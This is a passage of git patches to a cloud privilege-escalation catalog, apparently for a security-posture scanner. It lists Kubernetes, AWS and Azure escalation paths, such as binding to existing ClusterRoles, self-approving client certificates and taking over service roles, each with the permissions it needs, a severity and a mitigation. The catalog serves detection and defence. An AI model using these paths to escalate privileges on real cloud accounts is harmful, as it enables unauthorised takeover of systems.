src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: An existing ClusterRoleBinding points to a collected ClusterRole with a cluster-wide permission the source lacks, and the source can add itself to that exact binding. + requires: + any_of: + - - verb: patch + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + - - verb: update + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_verified_authority + selector: + k8s_existing_clusterrolebinding_gain: true + scope: cluster + outcome: permission_grant + grants: ["The exact collected ClusterRole permissions across the cluster"] + aggregate_as: "New cluster-wide permissions from an existing ClusterRoleBinding" + conditions: + - id: exact_existing_cluster_binding_and_new_permission + description: A collected ClusterRoleBinding must point to the selected ClusterRole, the source must be able to modify that binding and bind the exact role, and a concrete rule must add a cluster-wide permission the source lacks. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: high + mitigation: Limit ClusterRoleBinding writes and bind access to roles that grant sensitive permissions. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: The selector joins the existing binding to its immutable roleRef and verifies patch or update on that exact binding. Uncertain RBAC facts keep the path conditional. + +- id: k8s-rbac-escalate-aggregating-clusterrole-namespace + provider: k8s + service: rbac + title: Add rules to a ClusterRole bound to the source in a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + source_revision: 2415fadfbd + summary: The source can create a ClusterRole whose labels feed an aggregated ClusterRole bound to it through a RoleBinding, adding workload and token rights in that binding's namespace. + source_selector: + source_bound_to_aggregated_clusterrole: namespace + requires: + all_of: + - verb: create + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_service_account + selector: + k8s_aggregated_rolebinding_namespace: true + k8s_aggregation_new_role_path: true + scope: cluster + aggregate_as: "ServiceAccounts in an aggregated RoleBinding namespace" + conditions: + - id: namespace_aggregate_binding_and_controller + description: A collected RoleBinding must give the source an aggregated ClusterRole in the target namespace, and the aggregation controller must add the source-created rules that permit workload or token access. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Do not combine ClusterRole creation and escalate with an aggregated ClusterRole already bound to the same principal. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: A RoleBinding limits the added rules to its namespace. Without escalate or prior ownership of the proposed rules, the new ClusterRole cannot add permissions that the source did not already hold. + +- id: k8s-rbac-csr-kube-apiserver-client-serviceaccount + provider: k8s + service: certificates + title: Issue and approve a client certificate for a bound ServiceAccount username + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can request a client certificate whose common name matches a ServiceAccount username already named in RBAC, then approve and read the signed certificate. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_service_account + selector: + k8s_csr_sa_subject: true + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "ServiceAccount usernames bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must sign certificates for kubernetes.io/kube-apiserver-client and accept the requested subject. + - id: client_cert_auth_honored + description: The API server must accept the issued client certificate and its ServiceAccount username. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict CSR creation, approval and signer approval to separate trusted operators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: A client certificate authenticates as its common-name username, so an RBAC ServiceAccount subject matches even when the ServiceAccount object is absent. ServiceAccount group bindings require the corresponding certificate organization and are covered by the group CSR technique. This path includes only ServiceAccount usernames with collected direct RBAC bindings. diff --git a/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json b/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json index 2514f83d70..09a4397472 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json +++ b/src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json @@ -179,17 +179,36 @@ "anyOf": [ { "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", "amplifybackend_create_token_backend_scope", "apprunner_existing_customer_account", "apprunner_existing_image_service_update", + "apprunner_existing_instance_role_update", + "apprunner_mutable_ecr_autodeploy_instance_role", + "appstream_existing_app_block_builder_role_session", "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_session", "appstream_existing_fleet_role_swap", + "appstream_existing_image_builder_role_session", "appstream_new_app_block_builder_with_role", "appstream_new_fleet_with_role", "appstream_new_image_builder_with_role", + "appsync_new_api_global_setup", "assumable_role_allows_account_admin", + "athena_existing_notebook_url_role", + "athena_existing_session_calculation_role", + "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", + "batch_existing_definition_submitjob_role", "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", + "braket_createjob_device_authorized", "cloudcontrol_source_can_create_admin_user", "cloudformation_attached_role_changeset_executable", "cloudformation_attached_role_stack_updatable", @@ -205,65 +224,126 @@ "codebuild_new_project_role_and_build", "codebuild_running_sandbox_command", "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", "codepipeline_existing_project_update_buildspec", "codepipeline_new_codecommit_project_route", "codepipeline_new_ecr_project_route", "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", + "datapipeline_existing_customer_role_pair_and_runnable_ec2", + "deadline_existing_queue_role_vend", + "deadline_existing_worker_role_vend", + "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", + "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", "ec2_instance_connect_same_running_role_host", "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", "ec2_userdata_restart_execution_reviewed", "ecs_container_instance_exists", + "ecs_exec_live_task_role", "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", "ecs_task_definition_exists", "eks_cluster_exists", "eks_existing_self_access_entry_can_receive_cluster_admin", "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", "emr_cluster_session_runtime_role", "emr_containers_endpoint_route", "emr_containers_job_route", "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", + "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", "emr_serverless_job_route", "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_studio_role_session", "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", + "gameliftstreams_controlled_application_role_session", + "gameliftstreams_live_role_session_admin_shell", "glue_existing_dev_endpoint_ssh_access", "glue_existing_job_has_runnable_trigger", + "glue_existing_job_script_object_writable_and_runnable", "glue_existing_session_ready_for_statement", "glue_job_override_arguments_available", "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", "glue_new_session_with_statement", "grafana_api_key_workspace_eligible", "grafana_saml_workspace_active", "grafana_service_account_workspace_eligible", "group_adds_policy_to_source", "iam_user_access_key_capacity", + "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", + "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", "lambda_enforced_zip_function_signing_bypass_and_invoke", "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", "lambda_existing_zip_function_direct_invoke_ready", "lambda_existing_zip_function_role_swap_ready", "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", "m2_existing_environment_new_application_deploy", "mfa_enrollment_credential_ready", "mfa_removal_password_ready", "mgh_automation_unit_home_region_target_and_run", "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_dag_object_execution_role", "mwaa_existing_environment_update_with_dag_code", "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_existing_iam_user_self_admin", "quicksight_subscribed", "role_trust_rewrite_assumable", "rolesanywhere_anchor_profile_trust_join", "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_attach_new_notebook_lifecycle_config", + "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", "sagemaker_job_execution_route_unverified", "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_training_inline_entrypoint_route", "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", "source_attached_admin_policy_version_exists", "source_attached_policy_version_capacity", "source_boundary_allows_account_admin", "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", + "ssm_hybrid_sendcommand_role", + "ssm_hybrid_startsession_role", "ssm_incident_response_plan_runs_new_automation_document", "ssm_jit_approved_online_instance", "ssm_maintenance_window_automation_task_ready", @@ -273,10 +353,12 @@ "ssm_shell_association_targets", "ssm_shell_document_on_online_instance", "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", "target_codecommit_git_permission", "target_console_login_without_mfa", "target_in_other_account", - "target_ssh_public_key_capacity" + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" ] }, { @@ -287,17 +369,36 @@ }, "id": { "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", "amplifybackend_create_token_backend_scope", "apprunner_existing_customer_account", "apprunner_existing_image_service_update", + "apprunner_existing_instance_role_update", + "apprunner_mutable_ecr_autodeploy_instance_role", + "appstream_existing_app_block_builder_role_session", "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_session", "appstream_existing_fleet_role_swap", + "appstream_existing_image_builder_role_session", "appstream_new_app_block_builder_with_role", "appstream_new_fleet_with_role", "appstream_new_image_builder_with_role", + "appsync_new_api_global_setup", "assumable_role_allows_account_admin", + "athena_existing_notebook_url_role", + "athena_existing_session_calculation_role", + "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", + "batch_existing_definition_submitjob_role", "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", + "braket_createjob_device_authorized", "cloudcontrol_source_can_create_admin_user", "cloudformation_attached_role_changeset_executable", "cloudformation_attached_role_stack_updatable", @@ -313,65 +414,126 @@ "codebuild_new_project_role_and_build", "codebuild_running_sandbox_command", "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", "codepipeline_existing_project_update_buildspec", "codepipeline_new_codecommit_project_route", "codepipeline_new_ecr_project_route", "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", + "datapipeline_existing_customer_role_pair_and_runnable_ec2", + "deadline_existing_queue_role_vend", + "deadline_existing_worker_role_vend", + "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", + "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", "ec2_instance_connect_same_running_role_host", "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", "ec2_userdata_restart_execution_reviewed", "ecs_container_instance_exists", + "ecs_exec_live_task_role", "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", "ecs_task_definition_exists", "eks_cluster_exists", "eks_existing_self_access_entry_can_receive_cluster_admin", "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", "emr_cluster_session_runtime_role", "emr_containers_endpoint_route", "emr_containers_job_route", "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", + "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", "emr_serverless_job_route", "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_studio_role_session", "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", + "gameliftstreams_controlled_application_role_session", + "gameliftstreams_live_role_session_admin_shell", "glue_existing_dev_endpoint_ssh_access", "glue_existing_job_has_runnable_trigger", + "glue_existing_job_script_object_writable_and_runnable", "glue_existing_session_ready_for_statement", "glue_job_override_arguments_available", "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", "glue_new_session_with_statement", "grafana_api_key_workspace_eligible", "grafana_saml_workspace_active", "grafana_service_account_workspace_eligible", "group_adds_policy_to_source", "iam_user_access_key_capacity", + "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", + "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", "lambda_enforced_zip_function_signing_bypass_and_invoke", "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", "lambda_existing_zip_function_direct_invoke_ready", "lambda_existing_zip_function_role_swap_ready", "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", "m2_existing_environment_new_application_deploy", "mfa_enrollment_credential_ready", "mfa_removal_password_ready", "mgh_automation_unit_home_region_target_and_run", "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_dag_object_execution_role", "mwaa_existing_environment_update_with_dag_code", "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_existing_iam_user_self_admin", "quicksight_subscribed", "role_trust_rewrite_assumable", "rolesanywhere_anchor_profile_trust_join", "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_attach_new_notebook_lifecycle_config", + "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", "sagemaker_job_execution_route_unverified", "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_training_inline_entrypoint_route", "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", "source_attached_admin_policy_version_exists", "source_attached_policy_version_capacity", "source_boundary_allows_account_admin", "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", + "ssm_hybrid_sendcommand_role", + "ssm_hybrid_startsession_role", "ssm_incident_response_plan_runs_new_automation_document", "ssm_jit_approved_online_instance", "ssm_maintenance_window_automation_task_ready", @@ -381,10 +543,12 @@ "ssm_shell_association_targets", "ssm_shell_document_on_online_instance", "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", "target_codecommit_git_permission", "target_console_login_without_mfa", "target_in_other_account", - "target_ssh_public_key_capacity" + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" ] } }, @@ -572,6 +736,10 @@ "description": "Exact externally verified technique/source/target evidence from aws_privesc_challenge_evidence. Missing or incomplete evidence is unresolved; a different source or target never matches.", "type": "string" }, + "aws_dynamodb_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself GetItem on an exact AWS-owned-key table through PutResourcePolicy." + }, "aws_efs_policy_self_grant": { "const": true, "description": "Reviewed ClientMount self-grant for the exact EFS file system." @@ -584,6 +752,14 @@ "const": true, "description": "Reviewed exact S3 bucket-policy self-grant for the caller and a bounded object prefix." }, + "aws_scheduler_iam_self_grant": { + "const": true, + "description": "Exact Scheduler schedule and passed role can add an inline policy to its creator through a role-authorized IAM target API." + }, + "aws_scheduler_iam_self_grant_update": { + "const": true, + "description": "An exact existing Scheduler schedule and passed role can add an inline policy to the caller through a role-authorized IAM target API." + }, "aws_secretsmanager_policy_self_grant": { "const": true, "description": "Reviewed GetSecretValue self-grant for the exact IAM user and secret." @@ -592,11 +768,39 @@ "const": true, "description": "Reviewed SiteWise Monitor portal ADMINISTRATOR grant to the source identity." }, + "aws_sns_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself Subscribe on an exact topic through SetTopicAttributes." + }, + "aws_sqs_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself ReceiveMessage on an exact queue through SetQueueAttributes; an SSE-KMS queue also needs effective Decrypt on its collected key." + }, "codedeploy_group_instance_role_covered_by": { "description": "Target role is the instance role of a CodeDeploy deployment group covered by the action (not collected).", "minLength": 1, "type": "string" }, + "cognito_developer_authenticated_role": { + "const": true, + "description": "Target role is the authenticated role of an identity pool with a developer provider, with trust admitting that pool's authenticated Cognito web identity." + }, + "cognito_developer_classic_role": { + "const": true, + "description": "Target role trusts the authenticated web identity of a developer identity pool whose Basic (Classic) flow is enabled, whether or not it is the pool's default role." + }, + "cognito_developer_enable_classic_role": { + "const": true, + "description": "Target role trusts a developer identity pool whose Basic (Classic) flow is disabled; the source can enable that flow and mint a developer token for the same pool." + }, + "cognito_developer_settable_authenticated_role": { + "const": true, + "description": "Target role can become the authenticated role of a collected developer identity pool and trusts that pool's authenticated web identity; the source must be able to mint a developer token for the same pool." + }, + "cognito_guest_update_classic_role": { + "const": true, + "description": "Target role trusts the unauthenticated web identity of a collected identity pool without role mappings; the source can enable guest and Basic flow on that pool." + }, "cognito_user_pool_covered_by": { "description": "Target role is mapped by an identity pool to a user pool covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (identity-pool roles not collected).", "minLength": 1, @@ -618,7 +822,7 @@ "type": "string" }, "ecs_task_colocated_with_source_container_instance": { - "description": "Value {source.arn}: the source is an EC2 container-instance role and the target task role runs (or, without placement facts, may run: unknown) on an EC2 container instance carrying the source's instance profile.", + "description": "Value {source.arn}: the source is an EC2 container-instance role and the target task or task-execution role runs (or, without placement facts, may run: unknown) on an EC2 container instance carrying the source's instance profile.", "type": "string" }, "ecs_task_role_on_ec2_capacity": { @@ -697,6 +901,10 @@ "minLength": 1, "type": "string" }, + "quicksight_existing_iam_user": { + "const": true, + "description": "Existing active QuickSight IAM user with a non-admin role and an exact principal ID; only its matching IAM user can gain this application-plane authority." + }, "resource_permission_covers_target": { "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", "minLength": 1, @@ -829,7 +1037,7 @@ "type": "array" } ], - "description": "Role trust policy has an Allow for sts:AssumeRole* whose Principal.Service includes the value." + "description": "Role trust policy allows sts:AssumeRole for every named Principal.Service; a list requires all services." }, "trust_federated_provider_missing": { "anyOf": [ @@ -2319,6 +2527,10 @@ "const": true, "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable SQL Managed Instance whose identity can read the directory." }, + "azure_static_site_deployment_token": { + "const": true, + "description": "An inventoried Static Web App on which the source can request that exact site's deployment token." + }, "azure_storage_local_credential": { "description": "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights.", "type": "string" @@ -2538,7 +2750,7 @@ ] } ], - "description": "Entra groups with a current direct user eligibility for member or owner activation and a matching PIM policy." + "description": "entra_group targets for which the source (or one of its groups) has a PIM for Groups eligibility: true = member or owner, or 'member' / 'owner'. Always conditional (pim_activation_required)." }, "entra_privileged_auth_user_takeover": { "const": true, From 89b86ec2c8e39b14601a867b698a31b31be2a231 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 22 Oct 2026 23:14:51 +0200 Subject: [PATCH 03/10] Pin Static Web Apps technique to reviewed source revision --- .../azure/static_web_apps.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml index dd5878c798..2c9cea5454 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml @@ -3,6 +3,7 @@ service: static_web_apps title: Read a Static Web Apps deployment token for one site source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + source_revision: 6e9fc14c507564228fe339b8088924b8f7b939cb summary: A principal able to list the secrets of an existing Static Web App may obtain its deployment token and replace content served by that site. requires: all_of: From 1511da74a4f95e0e0f8b654de80a2c683a1d54b5 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 00:15:24 +0200 Subject: [PATCH 04/10] Bound AWS escalation source actions in reviewed catalog --- .../aws/appstream.yaml | 9 ++++++--- .../aws/athena.yaml | 9 ++++++--- .../aws/batch.yaml | 3 ++- .../aws/cloudcontrol.yaml | 3 ++- .../aws/codepipeline.yaml | 18 ++++++++++++++---- .../aws/deadline.yaml | 15 +++++++++++---- .../aws/ec2.yaml | 12 +++++++++--- .../aws/ecs.yaml | 3 ++- .../aws/elasticbeanstalk.yaml | 3 ++- .../aws/emr.yaml | 12 ++++++++---- .../aws/emrserverless.yaml | 12 ++++++++---- .../aws/events.yaml | 3 ++- .../aws/exact-principal-v5.yaml | 6 ++++-- .../aws/flink.yaml | 3 ++- .../aws/gamelift.yaml | 3 ++- .../aws/gameliftstreams.yaml | 3 +++ .../aws/glue.yaml | 6 ++++-- .../aws/imagebuilder.yaml | 3 ++- .../aws/mwaa.yaml | 3 ++- .../aws/sagemaker.yaml | 3 ++- .../aws/ssm.yaml | 6 ++++-- 21 files changed, 97 insertions(+), 41 deletions(-) diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml index ef468df9bd..8be25cc8d3 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml @@ -16,7 +16,8 @@ source_revision: 6fb9ac51fd summary: A principal allowed to connect to a running image builder may use its recorded machine role. requires: - all_of: [] + all_of: + - action: appstream:CreateImageBuilderStreamingURL source_kind: [aws_user, aws_role] target: kind: aws_role @@ -47,7 +48,8 @@ source_revision: 6fb9ac51fd summary: A principal allowed to connect to a running app block builder may use its recorded machine role. requires: - all_of: [] + all_of: + - action: appstream:CreateAppBlockBuilderStreamingURL source_kind: [aws_user, aws_role] target: kind: aws_role @@ -78,7 +80,8 @@ source_revision: 6fb9ac51fd summary: A principal allowed to open a desktop session on an existing fleet may use that fleet's exact machine role. requires: - all_of: [] + all_of: + - action: appstream:CreateStreamingURL source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml index 6721c52476..41b0ad9c1c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml @@ -17,7 +17,8 @@ source_revision: 171e422299 summary: A caller who can submit calculations to an idle PySpark 3 session may run code with that session's recorded execution role. requires: - all_of: [] + all_of: + - action: athena:StartCalculationExecution source_kind: [aws_user, aws_role] target: kind: aws_role @@ -48,7 +49,8 @@ source_revision: 171e422299 summary: A caller who can mint the endpoint token for an active Spark 3.5 session may control it using its recorded execution role. requires: - all_of: [] + all_of: + - action: athena:GetSessionEndpoint source_kind: [aws_user, aws_role] target: kind: aws_role @@ -79,7 +81,8 @@ source_revision: 171e422299 summary: A caller who can mint a notebook URL for an active PySpark 3 notebook session may use its recorded execution role. requires: - all_of: [] + all_of: + - action: athena:CreatePresignedNotebookUrl source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml index 20badd6115..9b0851b296 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml @@ -15,7 +15,8 @@ source_revision: 6fb9ac51fd summary: A caller who can submit a command override for an active EC2 job definition may run that command with its recorded job role. requires: - all_of: [] + all_of: + - action: batch:SubmitJob source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml index 223f1b6d7b..fafeccc1d4 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml @@ -16,7 +16,8 @@ source_revision: 171e422299 summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. requires: - all_of: [] + all_of: + - action: cloudformation:CreateResource source_kind: [aws_user, aws_role] target: kind: aws_account_admin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml index 6f58bfaa8f..a5e113f825 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml @@ -15,7 +15,10 @@ source_revision: 171e422299 summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline, placing a source ZIP in S3, and starting the pipeline. requires: - all_of: [] + all_of: + - action: codebuild:CreateProject + - action: codepipeline:CreatePipeline + - action: codepipeline:StartPipelineExecution source_kind: [aws_user, aws_role] target: kind: aws_role @@ -48,7 +51,10 @@ source_revision: 171e422299 summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that runs a recorded CodeCommit branch or one it can push. requires: - all_of: [] + all_of: + - action: codebuild:CreateProject + - action: codepipeline:CreatePipeline + - action: codepipeline:StartPipelineExecution source_kind: [aws_user, aws_role] target: kind: aws_role @@ -81,7 +87,10 @@ source_revision: 171e422299 summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that uses a recorded tagged ECR image as its source. requires: - all_of: [] + all_of: + - action: codebuild:CreateProject + - action: codepipeline:CreatePipeline + - action: codepipeline:StartPipelineExecution source_kind: [aws_user, aws_role] target: kind: aws_role @@ -114,7 +123,8 @@ source_revision: 171e422299 summary: The source may obtain the privileges of a CodeBuild role by changing the buildspec of a project used by a pipeline and starting that pipeline. requires: - all_of: [] + all_of: + - action: codepipeline:StartPipelineExecution source_kind: [aws_user, aws_role] target: kind: aws_role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/deadline.yaml 